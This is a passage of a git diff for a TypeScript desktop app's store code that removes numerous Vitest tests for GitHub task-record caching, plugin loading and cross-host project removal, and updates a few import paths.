     expect(cache.projectItem(row).labels).toEqual(['new'])
   })
 
-  it('serializes full and light reads and allows a same-second external reversal', async () => {
-    const { cache, binding } = setup()
-    const first = deferred<GitHubWorkItem>()
-    lookup.mockReturnValue(first.promise)
-    const edit = cache.operation(row, binding, { assignees: { alice: user } })
-    edit(true)
-    const full = vi.fn(async () => row)
-    const refresh = cache.readCanonical(row, binding, full)
-    expect(full).not.toHaveBeenCalled()
-    first.resolve({ ...row, assignees: [user] })
-    expect(await refresh).toBe(true)
-
-    expect(cache.projectItem(row).assignees).toEqual([])
-  })
-
-  it('does not regress a newer provider version or erase unknown assignees', async () => {
-    const { cache, binding } = setup()
-    await cache.readCanonical(row, binding, async () => ({ ...row, assignees: [user] }))
-    const unknown = {
-      ...row,
-      title: 'Newer',
-      assignees: undefined,
-      updatedAt: '2026-10-31T12:00:04Z'
-    }
-    expect(cache.acceptSearch([unknown], binding)[0].assignees).toEqual([user])
-    expect(await cache.readCanonical(row, binding, async () => row)).toBe(false)
-    expect(cache.projectItem(row).title).toBe('Newer')
-  })
-
-  it('retires relevant confirmed masks while preserving unrelated PR controls', async () => {
-    const { cache, binding } = setup()
-    setConfirmedListSnapshot(null, row.repoId, row.id, 'assignees', [user])
-    setLastConfirmedClientValue(null, row.repoId, row.id, 'state', 'closed')
-    setLastConfirmedClientValue(null, row.repoId, row.id, 'autoMerge', true)
-    await cache.readCanonical(row, binding, async () => row)
-    const merged = getRegistryMergedTaskPageGitHubWorkItem(cache.projectItem(row), null)
-    expect(merged.assignees).toEqual([])
-    expect(merged.state).toBe('open')
-    expect(merged.autoMergeEnabled).toBe(true)
-  })
-
   it('disposes an account incarnation and rejects its deferred result after A to B to A', async () => {
     const { store, cache, binding } = setup()
     const response = deferred<GitHubWorkItem>()
@@ -235,68 +128,6 @@ describe('shared GitHub task records through production store actions', () => {
     expect(cache.capture(repo)!.incarnation).not.toBe(binding.incarnation)
   })
 
-  it('projects only issue facts into another account board, preserving board data and ambiguity', async () => {
-    const bobRepo = { ...repo, id: 'bob-repo', ghAccount: { host: 'github.com', user: 'bob' } }
-    const { cache, binding } = setup([repo, bobRepo])
-    const source = projectRow()
-    const table = board([source])
-    await cache.readCanonical(row, binding, async () => ({
-      ...row,
-      title: 'Confirmed',
-      state: 'closed',
-      labels: ['original', 'new'],
-      assignees: [user]
-    }))
-    const bob = cache.capture(bobRepo)!
-    await cache.readCanonical({ ...row, repoId: bobRepo.id }, bob, async () => ({
-      ...row,
-      repoId: bobRepo.id,
-      title: 'Confirmed',
-      state: 'closed',
-      labels: ['original', 'new'],
-      assignees: [user]
-    }))
-    const projected = cache.projectTable(table, 'local').rows[0]
-    expect(projected.content.title).toBe('Confirmed')
-    expect(projected.content.state).toBe('CLOSED')
-    expect(projected.content.assignees).toEqual(source.content.assignees)
-    expect(projected.content.labels[0]).toEqual(source.content.labels[0])
-    expect(projected.content.body).toBe('Board body')
-    expect(projected.updatedAt).toBe(source.updatedAt)
-    expect(projected.fieldValuesByFieldId).toBe(source.fieldValuesByFieldId)
-  })
-  it('returns accepted rows on page N and never invents query membership', async () => {
-    const { store, cache, binding } = setup()
-    await cache.readCanonical(row, binding, async () => ({ ...row, labels: ['current'] }))
-    mockApi.gh.listWorkItems.mockResolvedValue({
-      items: [row],
-      sources: {
-        issues: { owner: 'acme', repo: 'widgets' },
-        prs: null,
-        originCandidate: null,
-        upstreamCandidate: null
-      }
-    })
-    lookup.mockResolvedValue({ ...row, labels: ['current'] })
-    const result = answered(
-      await store
-        .getState()
-        .fetchWorkItemsNextPage([{ repoId: repo.id, path: repo.path }], 20, 20, '', 2)
-    )
-    expect(result.items[0].labels).toEqual(['current'])
-    mockApi.gh.listWorkItems.mockResolvedValue({
-      items: [],
-      sources: { issues: null, prs: null, originCandidate: null, upstreamCandidate: null }
-    })
-    expect(
-      answered(
-        await store
-          .getState()
-          .fetchWorkItemsNextPage([{ repoId: repo.id, path: repo.path }], 20, 20, '', 3)
-      ).items
-    ).toEqual([])
-  })
-
   it('establishes from the read after the last of two overlapping edits', async () => {
     const { store, cache } = setup()
     const { capture } = await tasksRow(store)
@@ -341,30 +172,6 @@ describe('shared GitHub task records through production store actions', () => {
 
     expect(copy()).toMatchObject({ title: 'Reconciled', labels: [] })
   })
-  it('keeps an unsupported record for its pending edits, joins new ones and owes no read', async () => {
-    const { store, cache } = setup()
-    const { copy, capture } = await tasksRow(store)
-    const read = deferred<GitHubWorkItem>()
-    lookup.mockReturnValueOnce(read.promise)
-    const binding = capture()
-    cache.operation(row, binding, { state: 'closed' })(true)
-    const add = (label: string) => cache.operation(row, binding, { labels: { [label]: true } })
-    const b = add('b')
-    read.reject(unsupported())
-    await flush()
-    expect(cache.canTrack(binding)).toBe(false)
-    const c = add('c')
-    const view = () => cache.projectItem(copy())
-    expect(view()).toMatchObject({ state: 'closed', labels: ['b', 'c'] })
-    expect(b(true).labels).toEqual(['b', 'c'])
-    expect(view().labels).toEqual(['b', 'c'])
-    expect(c(false)).toMatchObject({ state: 'closed', labels: ['b'] })
-    expect(copy()).toMatchObject({ state: 'closed', labels: ['b'] })
-    expect(view()).toBe(copy())
-    expect(cache.canTrack(binding, row)).toBe(false)
-    await flush()
-  })
-
   it('lets a Refresh queued behind a discarded one read once that owner retires', async () => {
     const { cache, binding } = setup()
     const first = deferred<GitHubWorkItem | null>()
@@ -376,49 +183,4 @@ describe('shared GitHub task records through production store actions', () => {
 
     expect(cache.projectItem(row).title).toBe('Fresh')
   })
-
-  it('keeps the PR body result through a compound metadata update', async () => {
-    const { store } = setup()
-    const cacheKey = projectViewCacheKey('organization', 'acme', 1, 'v')
-    const source = projectRow()
-    store.setState({
-      projectViewCache: {
-        [cacheKey]: {
-          data: board([
-            {
-              ...source,
-              itemType: 'PULL_REQUEST',
-              content: { ...source.content, url: 'https://github.com/acme/widgets/pull/42' }
-            }
-          ]),
-          fetchedAt: 1
-        }
-      }
-    })
-    const body =
-      '![shot](https://github.com/user-attachments/assets/ce11040a-fb66-4289-927f-547b16dfc488)'
-    Object.assign(mockApi.gh, {
-      updatePullRequestBySlug: vi.fn().mockResolvedValue({
-        ok: true,
-        bodyImageUrls: {
-          'https://github.com/user-attachments/assets/ce11040a-fb66-4289-927f-547b16dfc488':
-            'https://private-user-images.githubusercontent.com/1/image.png?jwt=TEST'
-        }
-      })
-    })
-    mockApi.gh.updateIssueBySlug.mockResolvedValue({ ok: true })
-    const result = await store
-      .getState()
-      .patchProjectIssueOrPr(cacheKey, 'r', { body, addLabels: ['bug'] })
-    expect(result).toEqual({
-      ok: true,
-      bodyImageUrls: {
-        'https://github.com/user-attachments/assets/ce11040a-fb66-4289-927f-547b16dfc488':
-          'https://private-user-images.githubusercontent.com/1/image.png?jwt=TEST'
-      }
-    })
-    expect(mockApi.gh.updateIssueBySlug).toHaveBeenCalledWith(
-      expect.objectContaining({ updates: { addLabels: ['bug'] } })
-    )
-  })
 })
diff --git a/src/renderer/src/store/github/task-records/task-record-cache.ts b/src/renderer/src/store/github/task-records/task-record-cache.ts
index 53cbc724ccf..9da2a8436fb 100644
--- a/src/renderer/src/store/github/task-records/task-record-cache.ts
+++ b/src/renderer/src/store/github/task-records/task-record-cache.ts
@@ -5,7 +5,7 @@ import type { AppState } from '../../types'
 import type { StoreApi } from 'zustand'
 import { githubTaskIdentity } from '@/lib/work-items/github/github-task-target'
 import { getWorkItemRepo } from '@/lib/work-items/work-item-repo-row'
-import { lookupReposBySlugFromCache } from '@/lib/repo-slug-cache'
+import { lookupReposBySlugFromCache } from '@/lib/workspace/catalog/repo-slug-cache'
 import { getRepoExecutionHostId } from '../../../../../shared/execution-host'
 import { structuralValuesEqual } from '../../../../../shared/structural-value-equality'
 import { projectViewSourceScope } from '../cache/cache-identity'
diff --git a/src/renderer/src/store/github/work-items/github-work-items-error-envelope.test.ts b/src/renderer/src/store/github/work-items/github-work-items-error-envelope.test.ts
index f38bb24793b..a1f78abd762 100644
--- a/src/renderer/src/store/github/work-items/github-work-items-error-envelope.test.ts
+++ b/src/renderer/src/store/github/work-items/github-work-items-error-envelope.test.ts
@@ -111,47 +111,4 @@ describe('createGitHubSlice.fetchWorkItems source/error envelope', () => {
       consoleWarn.mockRestore()
     }
   })
-
-  it('keeps the partial-failure count when another GitHub repo still loads', async () => {
-    const store = createTestStore()
-    const consoleWarn = vi.spyOn(console, 'warn').mockImplementation(() => {})
-    const item = {
-      type: 'pr',
-      number: 8,
-      title: 'Loaded PR',
-      url: 'https://example.test/8',
-      updatedAt: '2026-05-21T00:00:00Z'
-    } as GitHubWorkItem
-    mockApi.gh.listWorkItems
-      .mockRejectedValueOnce(new Error('HTTP 503: Service Unavailable'))
-      .mockResolvedValueOnce({
-        items: [item],
-        sources: {
-          issues: null,
-          prs: { owner: 'up', repo: 'r' },
-          originCandidate: { owner: 'up', repo: 'r' },
-          upstreamCandidate: null
-        }
-      })
-
-    try {
-      const result = answered(
-        await store.getState().fetchWorkItemsAcrossRepos(
-          [
-            { repoId: 'unavailable-repo', path: '/server/unavailable-repo' },
-            { repoId: 'loaded-repo', path: '/server/loaded-repo' }
-          ],
-          24,
-          100,
-          ''
-        )
-      )
-
-      expect(result.items).toEqual([{ ...item, repoId: 'loaded-repo' }])
-      expect(result.failedCount).toBe(1)
-      expect(result.githubUnavailable).toBe(false)
-    } finally {
-      consoleWarn.mockRestore()
-    }
-  })
 })
diff --git a/src/renderer/src/store/index.ts b/src/renderer/src/store/index.ts
index 114d743cc4c..08f37ab4792 100644
--- a/src/renderer/src/store/index.ts
+++ b/src/renderer/src/store/index.ts
@@ -1,3 +1,4 @@
+import { registerTerminalNoticeShutdownReader } from '@/components/terminal-pane/pty-transport/delivery/pty-notice-exit'
 import { registerStructuredSelectionCatalogStore } from '@/lib/agent-session/options/structured-agent-session-selection-controller'
 import { canOfferHttpLinkGroupAction } from '@/lib/browser/navigation/http-link-in-group-availability'
 import { create, type StateCreator } from 'zustand'
@@ -162,6 +163,10 @@ export const useAppStore = create<AppState>()(
   )
 )
 
+registerTerminalNoticeShutdownReader(
+  (ptyId) => (useAppStore.getState().pendingPtyShutdownIds[ptyId] ?? 0) > 0
+)
+
 for (const install of STORE_OBSERVER_INSTALLERS) {
   install(useAppStore)
 }
diff --git a/src/renderer/src/store/keyed-record-transitions.test.ts b/src/renderer/src/store/keyed-record-transitions.test.ts
index ad428b9e57a..f7f8f8165b7 100644
--- a/src/renderer/src/store/keyed-record-transitions.test.ts
+++ b/src/renderer/src/store/keyed-record-transitions.test.ts
@@ -155,18 +155,6 @@ describe('keyed record transitions', () => {
     })
   })
 
-  it('names deleted record keys', () => {
-    const start = { t1: 'pty-1', t2: 'pty-2' }
-    const next = replaceRecordEntries(start, [['t1', null]])
-    expect(next).toEqual({ t2: 'pty-2' })
-    expect(readRecordChanges(next, start)).toEqual({
-      kind: 'addressed',
-      keys: new Set(['t1']),
-      added: [],
-      deleted: new Set(['t1'])
-    })
-  })
-
   it('keeps a __proto__ key as an own entry in records and drafts', () => {
     const start = { t1: 'pty-1' }
     const replaced = replaceRecordEntries(start, [['__proto__', 'pty-2']])
diff --git a/src/renderer/src/store/keyed-tab-row-changes.test.ts b/src/renderer/src/store/keyed-tab-row-changes.test.ts
deleted file mode 100644
index 26e982917d2..00000000000
--- a/src/renderer/src/store/keyed-tab-row-changes.test.ts
+++ /dev/null
@@ -1,63 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { markFullResync, replaceTabBuckets, tabBucketDraft } from './keyed-record-transitions'
-import { readTabRowChanges } from './keyed-tab-row-changes'
-
-describe('addressed tab row references', () => {
-  it('retains replacement, addition and deletion endpoints across writes', () => {
-    const original = { id: 'terminal', label: 'before' }
-    const renamed = { ...original, label: 'after' }
-    const removed = { id: 'removed', label: 'removed' }
-    const added = { id: 'added', label: 'added' }
-    const start = { workspace: [original, removed] }
-    const changed = replaceTabBuckets(start, [['workspace', [renamed, removed]]])
-    const draft = tabBucketDraft(changed)
-    draft.set('workspace', [renamed, added])
-    const result = readTabRowChanges(draft.finish(), start)
-    expect(result !== 'unknown' && result?.get('workspace')).toEqual(
-      new Map([
-        ['terminal', { before: original, after: renamed }],
-        ['added', { before: undefined, after: added }],
-        ['removed', { before: removed, after: undefined }]
-      ])
-    )
-    if (result && result !== 'unknown') {
-      expect(result.get('workspace')?.get('terminal')?.before).toBe(original)
-      expect(result.get('workspace')?.get('terminal')?.after).toBe(renamed)
-    }
-  })
-
-  it('composes net endpoints when intermediate row changes are undone', () => {
-    const original = { id: 'terminal', label: 'before' }
-    const start = { workspace: [original] }
-    const renamed = replaceTabBuckets(start, [
-      ['workspace', [{ ...original, label: 'intermediate' }]]
-    ])
-    const restored = replaceTabBuckets(renamed, [['workspace', [original]]])
-    expect(readTabRowChanges(restored, start)).toEqual(
-      new Map([['workspace', new Map([['terminal', { before: original, after: original }]])]])
-    )
-    expect(readTabRowChanges(start, start)).toBeNull()
-  })
-
-  it('requires resync when a removed row is reinserted across skipped writes', () => {
-    const a = { id: 'a', contentType: 'terminal', entityId: 't0', groupId: 'g' }
-    const b = { id: 'b', contentType: 'terminal', entityId: 't0', groupId: 'h' }
-    const start = { workspace: [a, b] }
-    const removed = replaceTabBuckets(start, [['workspace', [b]]])
-    const reinserted = replaceTabBuckets(removed, [['workspace', [b, a]]])
-    expect(readTabRowChanges(reinserted, start)).toBe('unknown')
-  })
-
-  it('requires resync for unavailable or reordered histories', () => {
-    const first = { id: 'first' }
-    const second = { id: 'second' }
-    const start = { workspace: [first, second] }
-    expect(readTabRowChanges({ workspace: [first] }, start)).toBe('unknown')
-    expect(readTabRowChanges(markFullResync({ workspace: [first] }, 'hydration'), start)).toBe(
-      'unknown'
-    )
-    expect(
-      readTabRowChanges(replaceTabBuckets(start, [['workspace', [second, first]]]), start)
-    ).toBe('unknown')
-  })
-})
diff --git a/src/renderer/src/store/plugins/appearance/plugin-themes.ts b/src/renderer/src/store/plugins/appearance/plugin-themes.ts
index 5af346a2616..f0917d3db8a 100644
--- a/src/renderer/src/store/plugins/appearance/plugin-themes.ts
+++ b/src/renderer/src/store/plugins/appearance/plugin-themes.ts
@@ -8,7 +8,7 @@ import {
 } from '../../../../../shared/plugins/artifacts/plugin-terminal-theme-artifact'
 import { useEffect } from 'react'
 import { createPluginContentListStore } from '../catalog/plugin-content-list-store'
-import { refreshedTerminalPluginPalettes } from '../../../lib/terminal-plugin-palettes'
+import { refreshedTerminalPluginPalettes } from '../../../lib/terminal/themes/terminal-plugin-palettes'
 import {
   applyPluginAppTheme,
   readCachedPluginAppTheme
diff --git a/src/renderer/src/store/plugins/catalog/plugin-panel-retry-timer-cleanup.test.ts b/src/renderer/src/store/plugins/catalog/plugin-panel-retry-timer-cleanup.test.ts
index fba502f6515..7d99cc2bfcc 100644
--- a/src/renderer/src/store/plugins/catalog/plugin-panel-retry-timer-cleanup.test.ts
+++ b/src/renderer/src/store/plugins/catalog/plugin-panel-retry-timer-cleanup.test.ts
@@ -43,12 +43,6 @@ async function harness(list: List) {
   return { store, ensure, onChanged, change: () => changed?.({ contentPacksChanged: false }) }
 }
 
-const empty = (fetchStatus: 'loading' | 'error' | 'ready') => ({
-  plugins: [],
-  panelErrors: {},
-  fetchStatus
-})
-
 beforeEach(() => {
   vi.resetModules()
   vi.useFakeTimers()
@@ -61,32 +55,6 @@ afterEach(() => {
   vi.unstubAllGlobals()
 })
 
-it('retires a failed-owner timer while a replacement IPC stays pending without cancelling it', async () => {
-  const gate = Promise.withResolvers<PluginHostListEntry[]>()
-  const list = vi
-    .fn<List>()
-    .mockRejectedValueOnce(new Error('starting'))
-    .mockReturnValueOnce(gate.promise)
-  const { store } = await harness(list)
-  await store.getState().fetchPlugins()
-  const pending = store.getState().fetchPlugins()
-  let settled = false
-  void pending.then(() => {
-    settled = true
-  })
-  const timers = vi.getTimerCount()
-  await vi.advanceTimersByTimeAsync(500)
-  expect(settled).toBe(false)
-  expect(list).toHaveBeenCalledTimes(2)
-  expect(view(store)).toEqual(empty('loading'))
-  const rows = [plugin()]
-  gate.resolve(rows)
-  await expect(pending).resolves.toBeUndefined()
-  expect(store.getState().plugins).toBe(rows)
-  expect(view(store)).toEqual({ plugins: rows, panelErrors: {}, fetchStatus: 'ready' })
-  expect(timers).toBe(0)
-})
-
 it('keeps an authoritative replacement made reentrantly during loading above the older failure', async () => {
   const gate = Promise.withResolvers<PluginHostListEntry[]>()
   const rows = [plugin()]
diff --git a/src/renderer/src/store/plugins/localization/plugin-language-packs-startup.test.ts b/src/renderer/src/store/plugins/localization/plugin-language-packs-startup.test.ts
index df0ca825ea7..1b631407459 100644
--- a/src/renderer/src/store/plugins/localization/plugin-language-packs-startup.test.ts
+++ b/src/renderer/src/store/plugins/localization/plugin-language-packs-startup.test.ts
@@ -50,47 +50,6 @@ afterEach(() => {
 })
 
 describe('plugin language-pack startup ownership', () => {
-  it.each(['resolve', 'reject'] as const)(
-    'keeps a newer refresh pending after an older request %ss',
-    async (settlement) => {
-      const bridge = installBridge()
-      const store = languagePacks.usePluginLanguagePackStore
-      const older = store.getState().fetchEntries()
-      const newer = store.getState().fetchEntries()
-      if (settlement === 'resolve') {
-        bridge.requests[0].resolve([pack('old')])
-      } else {
-        bridge.requests[0].reject(new Error('old failure'))
-      }
-      await older
-      expect(store.getState().loaded).toBe(false)
-      languagePacks.ensurePluginLanguagePacksLoaded()
-      const dispatches = bridge.listLanguagePacks.mock.calls.length
-      for (const request of bridge.requests.slice(1)) {
-        request.resolve([pack('current')])
-      }
-      await newer
-      expect(dispatches).toBe(2)
-      expect(store.getState().entries).toEqual([pack('current')])
-    }
-  )
-
-  it('allows a content-change refresh to supersede startup while ignoring unrelated changes', async () => {
-    const bridge = installBridge()
-    languagePacks.ensurePluginLanguagePacksLoaded()
-    bridge.listeners[0]({ contentPacksChanged: false })
-    expect(bridge.listLanguagePacks).toHaveBeenCalledTimes(1)
-    bridge.listeners[0]({ contentPacksChanged: true })
-    expect(bridge.listLanguagePacks).toHaveBeenCalledTimes(2)
-    bridge.requests[1].resolve([pack('changed')])
-    await bridge.requests[1].promise
-    bridge.requests[0].resolve([pack('old')])
-    await bridge.requests[0].promise
-    languagePacks.ensurePluginLanguagePacksLoaded()
-    expect(bridge.listLanguagePacks).toHaveBeenCalledTimes(2)
-    expect(languagePacks.usePluginLanguagePackStore.getState().entries).toEqual([pack('changed')])
-  })
-
   it('keeps the shared startup request alive after the first consumer unmounts', async () => {
     const bridge = installBridge()
     const first = renderHook(() => languagePacks.usePluginLanguagePacks())
diff --git a/src/renderer/src/store/project-groups/repos-project-group-cross-host-move.test.ts b/src/renderer/src/store/project-groups/repos-project-group-cross-host-move.test.ts
index ac091f7fa4d..cb5f69c3fc8 100644
--- a/src/renderer/src/store/project-groups/repos-project-group-cross-host-move.test.ts
+++ b/src/renderer/src/store/project-groups/repos-project-group-cross-host-move.test.ts
@@ -78,27 +78,6 @@ beforeEach(() => {
   })
 })
 
-function storeWith(projectGroups: ProjectGroup[]) {
-  const store = createTestStore()
-  store.setState({ repos: [remoteRepo], projectGroups })
-  return store
-}
-
-describe('moving a project into a group on another host', () => {
-  it('refuses with a toast instead of sending a move that would ungroup the project', async () => {
-    const store = storeWith([group('local-group', 'local'), group('remote-group', REMOTE_HOST)])
-
-    await expect(store.getState().moveProjectToGroup(remoteRepo, 'local-group', 0)).resolves.toBe(
-      false
-    )
-
-    expect(moveCalls()).toEqual([])
-    expect(moveProject).not.toHaveBeenCalled()
-    expect(store.getState().repos).toEqual([remoteRepo])
-    expect(toast.error).toHaveBeenCalledTimes(1)
-  })
-})
-
 describe('moving one twin of a repo id on a paired server (server-local and server-SSH rows)', () => {
   it('names the twin by its server-side SSH target and updates only that row', async () => {
     const serverLocalTwin: Repo = { ...remoteRepo, connectionId: null, projectGroupId: null }
diff --git a/src/renderer/src/store/repos/all-host-catalog-settlement.test.ts b/src/renderer/src/store/repos/all-host-catalog-settlement.test.ts
index 0315cd843bd..a3c8f08b43a 100644
--- a/src/renderer/src/store/repos/all-host-catalog-settlement.test.ts
+++ b/src/renderer/src/store/repos/all-host-catalog-settlement.test.ts
@@ -143,19 +143,6 @@ describe('all-host folder workspace settlement', () => {
     expect(store.getState().folderWorkspaces.map((w) => w.id)).toEqual(['remote-folder'])
     expect(store.getState().restoredRuntimeHostIdByWorkspaceSessionKey).toEqual({})
   })
-
-  it('keeps restored folder owner hints and lists no runtimes when remote hosts are skipped', async () => {
-    const store = storeWithRestoredFolderOwner()
-
-    await store.getState().fetchFolderWorkspacesForAllHosts({ remoteHosts: 'skip' })
-    await store.getState().fetchProjectGroupsForAllHosts({ remoteHosts: 'skip' })
-
-    expect(runtimeEnvironmentsList).not.toHaveBeenCalled()
-    expect(store.getState().folderWorkspaces.map((w) => w.id)).toEqual(['local-folder'])
-    expect(store.getState().restoredRuntimeHostIdByWorkspaceSessionKey).toEqual({
-      [restoredFolderKey]: 'runtime:env-1'
-    })
-  })
 })
 
 describe('all-host repo settlement', () => {
diff --git a/src/renderer/src/store/repos/project-removal-host-twin-state.test.ts b/src/renderer/src/store/repos/project-removal-host-twin-state.test.ts
index 534519e3535..1dd739d034d 100644
--- a/src/renderer/src/store/repos/project-removal-host-twin-state.test.ts
+++ b/src/renderer/src/store/repos/project-removal-host-twin-state.test.ts
@@ -14,7 +14,6 @@ import {
 } from '../../runtime/rpc/testing/runtime-compatibility-test-fixture'
 import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../runtime/rpc/compatibility/runtime-compatibility-cache'
 import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
 
 vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
   (
@@ -27,16 +26,8 @@ vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (import
   ).runtimeLayoutClientWithTestFrames(await importOriginal())
 )
 import { toRemoteRuntimePtyId } from '../../../../shared/remote-runtime/remote-runtime-pty-id'
-import type { BrowserWorkspace } from '../../../../shared/browser-workspace-types'
-import type { Tab } from '../../../../shared/tab-types'
 import type { ClosedEditorTabSnapshot } from '../slices/editor/types/open-file'
-import type { SleepingAgentSessionRecord } from '../../../../shared/agent-session/lifecycle/agent-session-resume'
-import { toAppSshPtyId } from '../../../../shared/ssh-pty-id'
 import '../../../../shared/workspace-scope'
-import {
-  readNativeChatComposerDraft,
-  updateNativeChatComposerDraft
-} from '@/components/native-chat/drafts/native-chat-composer-draft-store'
 
 const recoveryNotice = vi.hoisted(() => vi.fn())
 vi.mock('@/components/editor/closed-unsaved-files-toast', () => ({
@@ -61,21 +52,6 @@ const remotePtyId = toRemoteRuntimePtyId('handle-1', 'env-b')
 const ptyKill = vi.fn()
 let onRepoRemoved: (() => void) | null = null
 
-function browserWorkspace(id: string): BrowserWorkspace {
-  return {
-    id,
-    worktreeId: WORKTREE_ID,
-    url: 'about:blank',
-    title: id,
-    loading: false,
-    faviconUrl: null,
-    canGoBack: false,
-    canGoForward: false,
-    loadError: null,
-    createdAt: 1
-  }
-}
-
 function answerLikeRuntimeHost(args: RuntimeEnvironmentCallRequest): unknown {
   const compatible = createCompatibleRuntimeStatusResponseIfNeeded(args)
   if (compatible) {
@@ -127,20 +103,6 @@ function closedSnapshot(filePath: string): ClosedEditorTabSnapshot {
   return snapshot
 }
 
-function sleepingRecord(paneKey: string, connectionId: string | null): SleepingAgentSessionRecord {
-  return {
-    paneKey,
-    worktreeId: WORKTREE_ID,
-    agent: 'claude',
-    providerSession: { key: 'session_id', id: paneKey },
-    prompt: '',
-    state: 'done',
-    capturedAt: 1,
-    updatedAt: 1,
-    connectionId
-  }
-}
-
 function seedTwins(): ReturnType<typeof createTestStore> {
   const store = createTestStore()
   const localFileId = '/work/same/local.ts'
@@ -275,307 +237,6 @@ describe('removing a remote project keeps its local twin', () => {
     }
   )
 
-  it('keeps the local shell, tab, dirty document and draft', async () => {
-    const store = seedTwins()
-    updateNativeChatComposerDraft('tab-local:leaf-1', { text: 'local chat draft' }, 'deferred')
-
-    await store.getState().removeProject(PROJECT_ID, { hostId: REMOTE_HOST })
-    await layoutApplyTestTransport.settle()
-
-    const state = store.getState()
-    // A layout-owner build asks main to close the removed host's editor tab first.
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      expect(layoutApplyTestTransport.sentOfType('closeTabs')).toEqual([
-        { type: 'closeTabs', workspace: WORKTREE_ID, tabIds: ['editor:remote-file'] }
-      ])
-    }
-    expect(state.repos).toEqual([localRow])
-    expect(ptyKill).not.toHaveBeenCalledWith('pty-local')
-    expect(state.tabsByWorktree[WORKTREE_ID]?.map((tab) => tab.id)).toEqual(['tab-local'])
-    expect(state.ptyIdsByTabId['tab-local']).toEqual(['pty-local'])
-    expect(state.unifiedTabsByWorktree[WORKTREE_ID]?.map((tab) => tab.id)).toEqual([
-      'tab-local',
-      '/work/same/local.ts'
-    ])
-    expect(state.openFiles.map((file) => file.id)).toEqual(['/work/same/local.ts'])
-    expect(state.editorDrafts).toEqual({ '/work/same/local.ts': 'unsaved local edit' })
-    expect(readNativeChatComposerDraft('tab-local:leaf-1').text).toBe('local chat draft')
-    // Shared reopen history is left whole: a stale entry, never a lost one of the survivor's.
-    expect(
-      state.recentlyClosedEditorTabsByWorktree[WORKTREE_ID]?.map((snapshot) => snapshot.filePath)
-    ).toContain('/work/same/old-local.ts')
-  })
-
-  it('closes the removed host’s browsers, chats and hydrated terminals, and tabs opened meanwhile', async () => {
-    const store = seedTwins()
-    const unified = (overrides: Partial<Tab> & { id: string }): Tab =>
-      makeUnifiedTab({ worktreeId: WORKTREE_ID, groupId: 'group-1', ...overrides })
-    const closedBrowser = (id: string, browserRuntimeEnvironmentId: string | null) => ({
-      workspace: browserWorkspace(id),
-      pages: [{ ...browserWorkspace(id), workspaceId: id, browserRuntimeEnvironmentId }]
-    })
-    store.setState((s) => ({
-      recentlyClosedBrowserTabsByWorktree: {
-        [WORKTREE_ID]: [
-          closedBrowser('closed-remote', 'env-b'),
-          closedBrowser('closed-local', null)
-        ]
-      },
-      recentlyClosedTabKindsByWorktree: { [WORKTREE_ID]: ['browser', 'browser'] },
-      browserTabsByWorktree: {
-        [WORKTREE_ID]: [
-          browserWorkspace('browser-local'),
-          browserWorkspace('browser-remote'),
-          browserWorkspace('browser-remote-unstamped')
-        ]
-      },
-      browserPagesByWorkspace: {
-        'browser-remote-unstamped': closedBrowser('browser-remote-unstamped', 'env-b').pages
-      },
-      unifiedTabsByWorktree: {
-        [WORKTREE_ID]: [
-          ...(s.unifiedTabsByWorktree[WORKTREE_ID] ?? []),
-          unified({ id: 'browser-local', contentType: 'browser', executionHostId: 'local' }),
-          unified({ id: 'browser-remote', contentType: 'browser', executionHostId: REMOTE_HOST }),
-          unified({ id: 'browser-remote-unstamped', contentType: 'browser' }),
-          unified({
-            id: 'chat-remote',
-            contentType: 'agent-session',
-            executionHostId: REMOTE_HOST
-          }),
-          unified({ id: 'hydrated-remote', executionHostId: REMOTE_HOST }),
-          unified({ id: 'sim-remote', contentType: 'simulator', executionHostId: REMOTE_HOST })
-        ]
-      }
-    }))
-    // Opened while the host call was pending, so the pre-call snapshot cannot see it.
-    onRepoRemoved = () =>
-      store.setState((s) => ({
-        unifiedTabsByWorktree: {
-          [WORKTREE_ID]: [
-            ...(s.unifiedTabsByWorktree[WORKTREE_ID] ?? []),
-            unified({ id: 'late-remote', executionHostId: REMOTE_HOST })
-          ]
-        }
-      }))
-
-    await store.getState().removeProject(PROJECT_ID, { hostId: REMOTE_HOST })
-    await layoutApplyTestTransport.settle()
-
-    const state = store.getState()
-    expect(state.browserTabsByWorktree[WORKTREE_ID]?.map((tab) => tab.id)).toEqual([
-      'browser-local'
-    ])
-    expect(state.unifiedTabsByWorktree[WORKTREE_ID]?.map((tab) => tab.id)).toEqual([
-      'tab-local',
-      '/work/same/local.ts',
-      'browser-local'
-    ])
-    expect(
-      state.recentlyClosedBrowserTabsByWorktree[WORKTREE_ID]?.map((entry) => entry.workspace.id)
-    ).toContain('closed-local')
-  })
-
-  it('attributes unstamped terminals by the host their PTY ids name, wherever those are kept', async () => {
-    const store = createTestStore()
-    const sshRow: Repo = { ...localRow, connectionId: 'target-1', executionHostId: 'ssh:target-1' }
-    const sshPtyId = toAppSshPtyId('target-1', 'relay-1')
-    store.setState({
-      repos: [localRow, sshRow, remoteRow],
-      worktreesByRepo: {
-        [PROJECT_ID]: [
-          makeWorktree({ id: WORKTREE_ID, repoId: PROJECT_ID, hostId: 'local' }),
-          makeWorktree({
-            id: WORKTREE_ID,
-            repoId: PROJECT_ID,
-            hostId: 'ssh:target-1',
-            runtimeOwnerEnvironmentId: 'env-b'
-          })
-        ]
-      },
-      tabsByWorktree: {
-        [WORKTREE_ID]: [
-          makeTab({ id: 'tab-local', worktreeId: WORKTREE_ID, ptyId: 'pty-local' }),
-          makeTab({ id: 'tab-ssh', worktreeId: WORKTREE_ID, ptyId: sshPtyId }),
-          // Restored: the only record of its host is the layout's pane binding.
-          makeTab({ id: 'tab-ssh-restored', worktreeId: WORKTREE_ID }),
-          // Mirrored through the paired runtime that reaches this SSH copy.
-          makeTab({ id: 'tab-ssh-mirrored', worktreeId: WORKTREE_ID, ptyId: remotePtyId })
-        ]
-      },
-      unifiedTabsByWorktree: {
-        [WORKTREE_ID]: [
-          makeUnifiedTab({
-            id: 'tab-ssh-mirrored',
-            worktreeId: WORKTREE_ID,
-            groupId: 'group-1',
-            executionHostId: REMOTE_HOST
-          })
-        ]
-      },
-      ptyIdsByTabId: {
